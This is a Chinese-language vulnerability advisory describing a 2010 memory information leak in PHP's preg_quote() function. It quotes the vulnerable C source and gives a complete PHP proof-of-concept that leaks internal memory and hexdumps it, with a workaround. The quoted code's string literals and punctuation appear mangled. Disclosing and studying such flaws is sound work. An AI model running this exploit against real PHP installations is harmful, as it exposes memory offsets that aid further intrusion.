PHP preg_quote（）中断信息泄露漏洞

发布日期：2010-05-07
更新日期：2010-05-10受影响系统：
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述：
--------------------------------------------------------------------------------
PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。PHP的preg_quote（）函数中存在信息泄露漏洞：static PHP_FUNCTION（preg_quote）
{
    ...
    /* Get the arguments and check for errors */
    if （zend_parse_parameters（ZEND_NUM_ARGS（） TSRMLS_CC, "s|s", &in_str, &in_str_len,
                              &delim, &delim_len） == FAILURE） {
        return;
    }

    in_str_end = in_str + in_str_len;    ...    if （delim && *delim） {
        delim_char = delim[0];
        quote_delim = 1;
    }

    /* Allocate enough memory so that even if each character
       is quoted, we won"t run out of room */
    out_str = safe_emalloc（4, in_str_len, 1）;

    /* Go through the string and quote necessary characters */
    for（p = in_str, q = out_str; p ！= in_str_end; p++） {
        c = *p;
        switch（c） {
            case ".":
            ...
            case "-":
                *q++ = "";
                *q++ = c;
                break;            case "":
                *q++ = "";
                *q++ = "0";
                *q++ = "0";
                *q++ = "0";
                break;            default:
                if （quote_delim && c == delim_char）
                    *q++ = "";
                *q++ = c;
                break;
        }
    }
    *q = "";

    /* Reallocate string and return it */
    RETVAL_STRINGL（erealloc（out_str, q - out_str + 1）, q - out_str, 0）;zend_parse_parameters（）函数将字符串指针、长度和ineger参数拷贝到了本地变量，放松了这些变量与原始ZVAL之间的联系。问题是任何对ZVAL的修改都不会反映在本地变量上，因此任何中断都可能修改ZVAL，导致本地变量指向已释放和重新使用的内存。此外由于zend_parse_parameters（）支持对象的__toString（）方式，只要以preg_quote（）第三个参数的形式传送对象就可以中断参数解析。由于PHP的call time pass by reference功能，之后攻击者可以从__toString（）方式杀死preg_quote（）的第一个参数并重新用于哈希表。这导致preg_quote（）作用于哈希表的内存而不是字符串的内存，攻击者可以泄露重要的内部内存偏移。<*来源：Stefan Esser （s.esser@ematters.de）

链接：http://php-security.org/2010/05/09/mops-2010-017-php-preg_quote-interruption-information-leak-vulnerability/index.html
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<？php
class dummy
{
    function __toString（）
    {
        /* now the magic */
        parse_str（"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS["var"]）;
        return "";
    }
}/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if （is_float（$i）） {
    $GLOBALS["var"] = str_repeat（"A", 39）;
} else {
    $GLOBALS["var"] = str_repeat（"A", 67）;
}/* Trigger the Code */
$x = stripcslashes（preg_quote（&$GLOBALS["var"], new dummy（）））;
hexdump（$x）;/* Helper function */
function hexdump（$x）
{
    $l = strlen（$x）;
    $p = 0;     echo "Hexdump ";
    echo "------- ";     while （$l > 16） {
        echo sprintf（"%08x: ",$p）;
        for （$i=0; $i<16; $i++） {
            echo sprintf（"%02X ", ord（$x[$p+$i]））;
        }
        echo " ";
        for （$i=0; $i<16; $i++） {
            $c = ord（$x[$p+$i]）;
            echo （$c < 32 || $c > 127）？ "." : chr（$c）;
        }
        $l-=16;
        $p+=16;
        echo " ";
    }
    if （$l > 0）
    echo sprintf（"%08x: ",$p）;
    for （$i=0; $i<$l; $i++） {
        echo sprintf（"%02X ", ord（$x[$p+$i]））;
    }
    for （$i=0; $i<16-$l; $i++） { echo "-- "; }     echo " ";
    for （$i=0; $i<$l; $i++） {
        $c = ord（$x[$p+$i]）;
        echo （$c < 32 || $c > 127）？ "." : chr（$c）;
    }
    echo " ";
}
？>建议：
--------------------------------------------------------------------------------
临时解决方法：* 删除call time pass by reference功能。厂商补丁：PHP
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://www.php.netPHP shm_put_var（）访问已释放资源漏洞Tex Live dvipng工具数组索引漏洞相关资讯漏洞

快递官网漏洞泄露 1400 万用户信息（08/12/2014 08:37:42）
要389目录服务器访问绕过漏洞（10/01/2012 09:18:08）
ASUS Net4Switch "ipswcom.dll" （03/02/2012 09:32:42）

软件漏洞是一笔大买卖！（10/06/2012 08:28:32）
PHPCMS V9.1.13任意文件包含漏洞分（08/01/2012 07:23:17）
Open Handset Alliance Android （03/01/2012 06:59:34）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款